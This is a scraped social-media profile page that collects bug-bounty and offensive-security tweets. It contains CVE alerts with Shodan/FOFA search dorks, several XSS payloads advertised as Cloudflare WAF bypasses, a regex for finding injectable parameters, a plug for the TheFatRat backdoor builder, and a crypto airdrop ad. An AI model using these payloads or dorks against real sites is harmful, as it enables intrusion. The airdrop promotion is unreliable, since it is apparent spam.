whatly @whatly2

hacker man... Yangju-si, Republic of Korea Joined February 2020

Tweets

14
Followers

11
Following

59
Likes

3

Hunter @HunterMapping

2 years ago

🚨Alert🚨 CVE-2023-34843 #Traggo directory traversal 📎 hunter.how/list?searchVal… Other Dorks: 🫐FOFA icon_hash="1959037266" 🍓Shodan http.favicon.hash:1959037266 Refer to: github.com/rootd4ddy/CVE-… #CVE #infosec #vulnerabilities #Security

0 19 49 7K 17

Download Image

DIMOOON 🇺🇦 @reewardius

2 years ago

@momika233 Try also this dictionary, it contains more than 130+ potential endpoints that can reveal heapdump. github.com/reewardius/bbF…

0 6 11 1K 9

/r/netsec @_r_netsec

2 years ago

MobSecco: Clone Cordova Android application for bypassing security restrictions. github.com/Anof-cyber/Mob…

0 7 12 2K 2

VarySafe Airdrop is live !!! Welcome to VarySafe official Global Community Participate in our Airdrop and earn to 25 ($50) VRF tokens for doing tasks and 2.5 VRF tokens per each referral. Token Network : BSC (BEP20) #BSC Join our airdrop bot here : t.me/Varysafe_bot?s…

1K 11K 9K 0 6

Battle Programmer Yuu @netspooky

5 years ago

#Cloudflare #wafbypass Just got a $1000 payout 💵📥 <uu src=@'@' onbigclick=import('//0a" "0a0a?0a/')>mou%09se<|/uu>:} #BugBountytips #BugBountytip #redteam #waf #obfuscation #security #linux #togetherwehitharder #hackerone #BugBounty

5 103 308 0 64

‌Renwa @RenwaX23

5 years ago

autofocus/onfocus trick now works with <a> tag too (Chrome), before this was only possible in text input elements. Useful for cases where you can't escape element context and need XSS without user interaction. <a autofocus onfocus=alert(23) href=#>x</a> renwax23.github.io/X/autofocus.ht…

1 80 206 0 38

XSS Payloads @XssPayloads

5 years ago

A payload that bypasses Cloudflare, by @bohdansec <svg/OnLoad="`${prompt``}`">

1 77 279 0 31

ch @chybeta

6 years ago

CVE-2020-7961 liferay-portal RCE: Unauthenticated Remote code execution via JSONWS (LPS-97029) codewhitesec.blogspot.com/2020/03/lifera…

2 87 176 0 23

Download Gif

Binni Shah @binitamshah

5 years ago

OSINT tool for discovering Github repositories by streaming commits in real time from the Github events API : github.com/x1sec/commit-s… cc @x1sec

0 65 185 0 34

Download Video

Somdev Sangwan @s0md3v

5 years ago

Wreck WAFs 😎 confirm() confirm`` (confirm``) {confirm``} [confirm``] (((confirm)))`` co\u006efirm() new class extends confirm``{} [8].find(confirm) [8].map(confirm) [8].some(confirm) [8].every(confirm) [8].filter(confirm) [8].findIndex(confirm) Source: github.com/s0md3v/Awesome…

2 147 473 0 110

Huuuuu @XSS_HK

6 years ago

利用unicode字符分割有意思，记录下

0 2 2 0 0

Sujeet Singh @Hacker_Sujeet

6 years ago

Quick and dirty way to find parameters vulnerable to LFI & Path Traversal & SSRF & Open Redirect: Burp Search > Regex \?.*=(\/\/?\w+|\w+\/|\w+(%3A|:)(\/|%2F)|%2F|[\.\w]+\.\w{2,4}[^\w]) Suggestions are welcome.

0 54 115 0 38

Download Image

Binni Shah @binitamshah

6 years ago

TheFatRat : an exploiting tool which compiles a malware w/ famous payload, and then the compiled maware can be executed on Linux , Windows , Mac and Android. It provides an Easy way to create Backdoors and Payload which can bypass most anti-virus : github.com/Screetsec/TheF…